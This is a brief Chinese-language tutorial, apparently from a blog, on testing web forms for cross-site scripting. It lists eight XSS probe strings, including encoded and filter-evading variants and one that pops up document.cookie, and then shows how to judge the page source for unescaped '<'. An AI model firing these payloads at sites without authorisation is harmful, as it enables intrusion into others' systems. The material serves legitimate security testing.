注:本文描述的是一般情况的xss注入方法及验证方法,并无覆盖所有xss情况,

 

步骤1:在任一输入框中输入以下注入字符

>"'><script>alert(XSS)</script>

>"'><img src="javascript:alert(123456)">

1234<%00script>alert("123456")</script>

&{alert(123456)}

>%22%27><img%20src%3d%22javascript:alert(123456)%22>

[rm]"><img src=1 onerror=alert(document.cookie)>[/rm]

\u003cimg src=1 onerror=alert(/xss/)\u003e

\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27

步骤2:提交成功后,在读取参数的页面查看页面源码,搜索刚输入注入

即:在【A页面】提交的,要在能查看A页面提交的内容的【B页面】搜索源码才有效

如:在【A页面】输入框输入   >"'><script>alert(123456)</script>,提交成功后,在【B页面】搜索123456

步骤3:查看页面源码

 

情况1看到页面源码为

xss问题

xss注入方法及验证方法_xss

解析:页面并没将字符 “<” 转义,浏览器会执行此代码 ,此类属于xss漏洞 


情况2看到源码为 

xss注入方法及验证方法_xss_02xss问题

 

 

 

解析:页面已将输入的字符“<”转义成“";”,此类没有xss漏洞。

 

情况3页面错位

 

xss注入方法及验证方法_安全技术_03xss问题



 

 

 

解析:页面并没将字符 “<” 转义,浏览器会执行此代码 ,此类属于xss漏洞 

 

情况4页面有弹出框提示

 

xss注入方法及验证方法_xss_04xss问题


 

 

 

 

 

 

 

解析:页面并没将字符 “<” 转义,浏览器会执行此代码 ,此类属于xss漏洞 

 

 

可以认为,所有没有转义字符“<”的都属于存在xss注入漏洞。

 

ps.页面源码,并非审阅元素,两者是有区别的